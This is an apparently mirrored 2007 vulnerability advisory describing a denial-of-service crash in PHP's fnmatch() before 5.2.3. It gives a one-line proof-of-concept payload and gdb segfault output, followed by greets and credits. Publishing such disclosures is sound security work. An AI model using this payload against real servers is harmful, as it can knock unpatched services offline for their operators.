PHP < 5.2.3 fnmatch() denial of service

2007-09-06T00:00:00
ID SECURITYVULNS:DOC:17940
Type securityvulns
Reporter Securityvulns
Modified 2007-09-06T00:00:00

Description

Application: PHP < 5.2.3 Web Site: http://php.net Platform: unix Bug: denial of service fonction: fnmatch() special condition: default php-memory-limit


1) Introduction 2) Bug 3) Proof of concept 4) Greets 5) Credits =========== 1) Introduction ===========

"PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML."

====== 2) Bug ======

fnmatch() is vulnerable to a denial of service

===== 3)Proof of concept =====

Proof of concept example : <? fnmatch("*[1]e", str_repeat("A", 9638013)); ?>

result: (gdb) run 2.php Program received signal SIGSEGV, Segmentation fault. [Switching to Thread -1215469888 (LWP 11079)] 0xb7970d99 in fnmatch () from /lib/tls/i686/cmov/libc.so.6

======== 4)Greets ======== Ivanlef0u,Deimos,benji,soh,and everyones on worldnet: #futurezone & #nibbles

===== 5)Credits =====

Laurent gaffie contact : laurent.gaffie (at) gmail (dot) com [email concealed] stay tuned, site comming soon ....